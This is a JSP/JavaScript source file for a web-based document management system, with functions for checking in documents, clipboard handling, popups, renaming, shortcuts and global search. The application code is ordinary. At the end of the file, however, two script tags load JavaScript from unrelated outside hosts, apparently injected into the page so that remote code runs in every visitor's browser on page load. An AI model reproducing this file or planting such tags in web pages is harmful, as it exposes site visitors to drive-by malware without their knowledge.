function OpCheckin(documentID, parentID, rootID, curFunctionCode, lockUserID, curUserID, navMode, returnTo,returnTop,selfCheckin) {
  var frm;

  for (var i = 0; i < document.forms.length; i++) {
    if (document.forms[i].name != "") {
      frm = document.forms[i];
      break;
    }
  }
  if (lockUserID != curUserID) {
    alert("<bean:message key='errors.dms.checkin_identity_mismatch'/>");
    return false;
  }
  if (confirm("<bean:message key='dms.message.confirm_records_checked_in'/>")) {
    var checkinDirectPage = navMode;

    if (g_curr_function_code == "<%=SystemFunctionConstant.DMS_PERSONAL_FOLDER%>"){
       if(curFunctionCode!=null){
         if(curFunctionCode=="SearchDmsDocument"){
           checkinDirectPage = "<%=DmsOperationConstant.LIST_SEARCH%>";
         }else if(curFunctionCode=="SearchKeywordDmsDocument"){
           checkinDirectPage = "<%=DmsOperationConstant.LIST_KEYWORD_SEARCH%>";
         }else if(curFunctionCode=="BulkSearchDmsDocument"){
           checkinDirectPage = "<%=DmsOperationConstant.LIST_BULK_SEARCH%>";
         }else{
           checkinDirectPage = "<%=DmsOperationConstant.LIST_PERSONAL_PAGE%>";
         }
       }else{
         checkinDirectPage = "<%=DmsOperationConstant.LIST_PERSONAL_PAGE%>";
       }
    } else if (g_curr_function_code == "<%=SystemFunctionConstant.DMS_PUBLIC_FOLDER%>"){
       if(curFunctionCode!=null){
         if(curFunctionCode=="SearchDmsDocument"){
           checkinDirectPage = "<%=DmsOperationConstant.LIST_SEARCH%>";
         }else if(curFunctionCode=="SearchKeywordDmsDocument"){
           checkinDirectPage = "<%=DmsOperationConstant.LIST_KEYWORD_SEARCH%>";
         }else if(curFunctionCode=="BulkSearchDmsDocument"){
           checkinDirectPage = "<%=DmsOperationConstant.LIST_BULK_SEARCH%>";
         } else if(curFunctionCode =="AUTO_CHECK"){
          checkinDirectPage = "AUTO_CHECK"
       } else{
           checkinDirectPage = "<%=DmsOperationConstant.LIST_PUBLIC_PAGE%>";
         }
       }else{
         checkinDirectPage = "<%=DmsOperationConstant.LIST_PUBLIC_PAGE%>";
       }
    } else if (g_curr_function_code == "<%=SystemFunctionConstant.DMS_EMPTY_FILE%>"){
       checkinDirectPage = "<%=DmsOperationConstant.LIST_EMPTY_DOCUMENT%>";
    } else if (g_curr_function_code == "<%=SystemFunctionConstant.DMS_COMPOUND_DOCUMENT%>"){
       if(navMode=="<%=GlobalConstant.NAV_MODE_VIEW%>"){
         checkinDirectPage="<%=DmsOperationConstant.CREATE_COMPOUND_DOCUMENT_VIEW%>";
       }else{
         checkinDirectPage = "<%=DmsOperationConstant.LIST_COMPOUND_DOCUMENT%>";
       }
    } else if (g_curr_function_code=="null" ||g_curr_function_code=="" || g_curr_function_code==null || g_curr_function_code=="<%=DmsOperationConstant.LIST_PERSONAL_HOME%>"){
       checkinDirectpage="<%=DmsOperationConstant.FORWARD_HOME_PAGE%>";
    }

    if (navMode == "<%=DmsOperationConstant.CREATE_COMPOUND_DOCUMENT_VIEW%>"){
       checkinDirectPage="<%=DmsOperationConstant.CREATE_COMPOUND_DOCUMENT_VIEW%>";
    }

    frm.opMode.value="<%=DmsOperationConstant.CHECKOUT_CHECK%>";
    frm.navMode.value=navMode;
    frm.parentID.value=parentID;
    frm.rootID.value=rootID;
    if("true"==selfCheckin){
      frm.action="<%= request.getContextPath() %>/dms/MaintDmsCheckout.do?documentID="+documentID+"&curFunctionCode="+curFunctionCode+"&directPage="+checkinDirectPage+"&returnTo="+returnTo+"&returnTop="+returnTop+"&selfCheckout="+selfCheckin;
    }else{
      frm.action="<%= request.getContextPath() %>/dms/MaintDmsCheckout.do?documentID="+documentID+"&curFunctionCode="+curFunctionCode+"&directPage="+checkinDirectPage+"&returnTo="+returnTo+"&returnTop="+returnTop;
    }
    if(frm.name=="listPersonalHomeForm"){
      frm.documentID.value=documentID;
      frm.directPage.value=checkinDirectpage;
    }
    frm.submit();
  }
  return false;
}

function OpClipboard(frm) {
  var idAry = "";
  for (var i = 0; i < frm.elements.length; i++) {
    if (frm.elements[i].name == "basicSelectedID") {
      if (frm.elements[i].checked) {
        hasChecked = true;
        idAry += "," + frm.elements[i].value;
        frm.elements[i].checked = false;
      }
    }
  }

  //joan.xiong add code for bug EIP-757 by 2006/11/14
  if(frm.PARADM_CB_ALL_NONE!=null){
    frm.PARADM_CB_ALL_NONE.checked = false;
  }
  //joan.xiong add code end

  if (idAry != "") {
    idAry = idAry.substring(1);
    FindObj("ClipBoardFrame").src = "<%= request.getContextPath() %>/jsp/dms/IncludeClipBoard.jsp?cur_function_code=" + cur_function_code + "&idAry=" + idAry + "&dummy=<%=Utility.getCurrentTimestamp().getTime()%>"
  }
}

function OpClipboardRemove(frm) {
  var idAry = "";
  for (var i = 0; i < frm.elements.length; i++) {
    if (frm.elements[i].name == "basicSelectedID") {
      if (frm.elements[i].checked) {
        hasChecked = true;
        idAry += "," + frm.elements[i].value;
        frm.elements[i].checked = false;
      }
    }
  }

  if (idAry != "") {
    idAry = idAry.substring(1);
    FindObj("ClipBoardFrame").src = "<%= request.getContextPath() %>/jsp/dms/IncludeClipBoard.jsp?cur_function_code=" + cur_function_code + "&opMode=delete&idAry=" + idAry + "&dummy=<%=Utility.getCurrentTimestamp().getTime()%>"
  }
}

// For open file
function popupOpenDirect(urlStr) {
  var popupWin = window.open(urlStr,"","");
}

// For selecting dms folder
function popupRelationshipWarning(documentID,parentID,rootID,funFlag,lockUserID,selectedID,returnTo) {
  var url = "<%=request.getContextPath()%>"+"/dms/Warning.do?opMode=DMS.RELATIONSHIP&funFlag="+funFlag+"&documentID="+documentID+"&parentID="+parentID+"&rootID="+rootID+"&lockUserID="+lockUserID+"&selectedID="+selectedID+"&returnTo="+returnTo;
  var name = "DCIVisionPopupWarning"+documentID;
  var popW = "800";
  var popH = "350";
  var feature = "scrollbars=yes,resizable=no";

  return OpenCenteredPopup(url, name, popW, popH, feature);
}

// For selecting dms folder
function popupMailSetting() {
  url="<%=request.getContextPath()%>"+"/dms/MaintEmailAccountSetting.do";

  var name = "DCIVisionPopupDmsMailSetting";
  var popW = "800";
  var popH = "550";
  var feature = "scrollbars=yes,resizable=yes";

  return OpenCenteredPopup(url, name, popW, popH, feature);
}

//For property
function popupProperty(documentType, rootID, parentID, documentID) {
  var url = "<%=request.getContextPath()%>"+"/dms/MaintDmsDocument.do?documentType="+documentType+"&rootID=" + rootID + "&parentID=" + parentID + "&navMode=<%=GlobalConstant.NAV_MODE_PREVIEW%>&ID="+documentID+"&objectID="+documentID;
  var name = "DCIVisionPopupDmsProperty";
  var popW = "800";
  var popH = "550";
  var feature = "scrollbars=yes,resizable=yes";

  return OpenCenteredPopup(url, name, popW, popH, feature);
}

/**
 * Because lots of original codes realize that the first named form is the major form of a page,
 * you can find this logic in lots of function (e.g. function OpSave(frm) in Framework.js),
 * so we should use an anonymous form for the global search, please note that, the first anonymous form must
 * be the global form in a page.
 */
function findGlobalSearchForm() {
  for (var i = 0; i < document.forms.length; i++) {
    if (document.forms[i].name == "") {
      return (document.forms[i]);
    }
  }
}

function opGlobalSearch() {
  var searchForm = findGlobalSearchForm();
  var keyword = searchForm.keyword.value;
  
  searchForm.globalSearch.value = true;

  if ("" == keyword){
    alert("<bean:message key='dms.message.criteria_required'/>");
    return false;
  }

  OpSubmit(searchForm);
  return false;
}

function popupDocument(id, url, name, popW, popH, feature, listLoopCnt,documentType) {
  // Hide the new object menu first if it is visible.
  if (FindObj("NewObjectMenuLayer")) {
    if (GetDivVisibility("NewObjectMenuLayer") == "visible") {
       HideDiv("NewObjectMenuLayer");
      if (GlobalVariable.ie && !GlobalVariable.ie7) {
          cancelSelectMask("NewObjectMenuLayer");
      }
    }
  }

  var trObj = FindObj("tr" + id);
  if (trObj && listLoopCnt) {
    SetTableRowColor(trObj, listLoopCnt, 'click', id);
  } else {
    var chkAry = FindObj("basicSelectedID");
    if (chkAry) {
      for (var i=0; i<chkAry.length; i++) {
        if (chkAry[i].value == id) {
          chkAry[i].checked = false;
        }
      }
    }
  }
  if(documentType=="<%=DmsDocument.EMAIL_DOC_TYPE%>"){
    return OpenCenteredPopup(url, name, popW, popH, feature);
  }else{
     try{
      var popupPaneWidth = GlobalVariable.getWindowAvailWidth() * 0.8 + "px";
      var popupPaneHeight = GlobalVariable.getWindowAvailHeight() * 0.9 + "px";
     
      var url = "<%=request.getContextPath()%>/dms/MaintDmsInvitationAction.do?actionType=S&opMode=P&documentID=" + id;
      var ni = "<iframe id='ifram1' width='" + popupPaneWidth + "' height='" + popupPaneHeight + "' src='" + url + "' frameborder='0' border='0' marginheight='0' marginwidth='0'></iframe>";
      frameRemoteDlg.setContent(ni);
      frameRemoteDlg.show();
    }catch(e){
        alert(e.description);
    }
  }
  //return OpenCenteredPopup(url, name, popW, popH, feature);
}

function checkConvert(docID,parentID,rootID,documentType,permission,directURL){
  if (!confirm("<bean:message key='dms.message.confirm_convert'/>")) {
    return(false);
  }
   if(documentType=="<%=DmsDocument.DOCUMENT_TYPE%>"){
      window.location.href="<%=request.getContextPath()%>/dms/MaintDmsConvertToCompoundDoc.do?opMode=CONVERT&ID="+docID+"&parentID="+parentID+"&rootID="+rootID+"&curFunctionCode="+g_curr_function_code+"&permission="+permission+"&returnTo="+directURL;
    }else {
      window.location.href="<%=request.getContextPath()%>/dms/MaintDmsConvertToCompoundDoc.do?opMode=CONVERT_PAGE&ID="+docID+"&parentID="+parentID+"&rootID="+rootID+"&curFunctionCode="+g_curr_function_code+"&permission="+permission+"&returnTo="+directURL;
    }
  }

function shortcutPopupWarning(id){
  var chkAry = FindObj("basicSelectedID");
   if(chkAry){
    for(var i=0;i<chkAry.length;i++){
      if(chkAry[i].value==id){
        chkAry[i].checked=false;
      }
     }
   }
  alert("<bean:message key='dms.message.original_file_remove'/>");
}

function PopupSelectDocType(displayDocType){
  var url = "<%=request.getContextPath()%>"+"/dms/DmsFilterDocType.do?displayDocType="+displayDocType;
  var name = "DCIVisionPopupDmsFilterDocType";
  var popW = "500";
  var popH = "300";
  var feature = "scrollbars=yes,resizable=no";

  return OpenCenteredPopup(url, name, popW, popH, feature);
}

// Popup the rename files
function popupRename(docID,parentID,rootID,permission,curFunctionCode) {
  var url = "<%= request.getContextPath() %>/dms/MaintDmsRename.do?ID=" + docID+"&parentID="+parentID+"&rootID="+rootID+"&curFunctionCode="+curFunctionCode+"&permission="+permission;

  var name = "DCIPopupRename";
  var popW = "780";
  var popH = "600";
  var feature = "status=no,menubar=no,scrollbars=yes,resizable=yes,toolbar=no";
  OpenCenteredPopup(url, name, popW, popH, feature);
  cClick();
}

function preBuildDocumentContextMenu(documentID, permission, sPermission){
  return '';
}

function postBuildDocumentContextMenu(documentID, permission, sPermission){
  return '';
}

function getMenuClip(documentID){
  if (documentID != "") {
    FindObj("ClipBoardFrame").src = "<%= request.getContextPath() %>/jsp/dms/IncludeClipBoard.jsp?cur_function_code=" + cur_function_code + "&idAry=" + documentID + "&dummy=<%=Utility.getCurrentTimestamp().getTime()%>"
  }
  cClick();

}


function onChangeFolderPicker(targetPath, rootID, parentID, ID){
  //alert(targetPath + "\n" + ID);
  if (document.getElementsByName("locationPath")){
    document.getElementsByName("locationPath")[0].value = targetPath;
  }
  if (document.getElementsByName("rootID")) {
    var i = document.getElementsByName("rootID").length;
    document.getElementsByName("rootID")[i-1].value = rootID;
  }
  if (document.getElementsByName("parentID")) {
    var j = document.getElementsByName("parentID").length;
    document.getElementsByName("parentID")[j-1].value =parentID;
  }
}

function OpValidate() {
  if (document.maintMtmDocumentRelationshipForm.dummy_display_objectName.value==''){
    alert("<bean:message key='errors.forum.select_object_for_shortcut'/>");
    return false;
  }
  return (true);
}

function newShortcutOpCustSave(){
  if (!OpValidate()) {
    return(false);
  }

  if (document.maintMtmDocumentRelationshipForm.locationPath.value=="") {
      alert("<bean:message key='errors.dms.target_location'/>");
    return true;
  }

  //joan.xiong add code for bug EIP-1027 by 2007/01/25
  if (document.maintMtmDocumentRelationshipForm.documentName.value=="") {
    alert("<bean:message key='dms.label.name_label_L'/>");
    return true;
  }
  //joan.xiong add code end

  if (document.maintMtmDocumentRelationshipForm.documentID.value == ''){
    document.maintMtmDocumentRelationshipForm.documentID.value = document.maintMtmDocumentRelationshipForm.dummy_display_objectID.value;
  }

  return OpSave(document.maintMtmDocumentRelationshipForm);
}

function getDocumentInfo(s){
    return overlib(s, WIDTH, 250, CSSCLASS, TEXTFONTCLASS, 'documentInfoFonts', FGCLASS, 'documentInfoBackground', BGCLASS, 'documentInfoBorder', RIGHT, VAUTO);
}

function getPopupInfo(s){
  return overlib(s, WIDTH, 250, CSSCLASS, TEXTFONTCLASS, 'documentInfoFonts', FGCLASS, 'documentInfoBackground', BGCLASS, 'documentInfoBorder', RIGHT, VAUTO);
}

function getDocumentContextMenu(s) {
    return overlib(s, FULLHTML, WIDTH, 185, PADX, 0, 0, PADY, 0, 0, CSSCLASS, TEXTFONTCLASS, 'contextMenuFonts', RIGHT, VAUTO, STICKY/*, MOUSEOFF, 5000*/);
}

function closeContextMenu(){
    // The Close onMouseOver function for stickies
    // Refer to OverLib.js for reference
    cClick();
}

<jsp:include page="/jsp/customize/js/post_DMSFunction.jsp"/>


<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>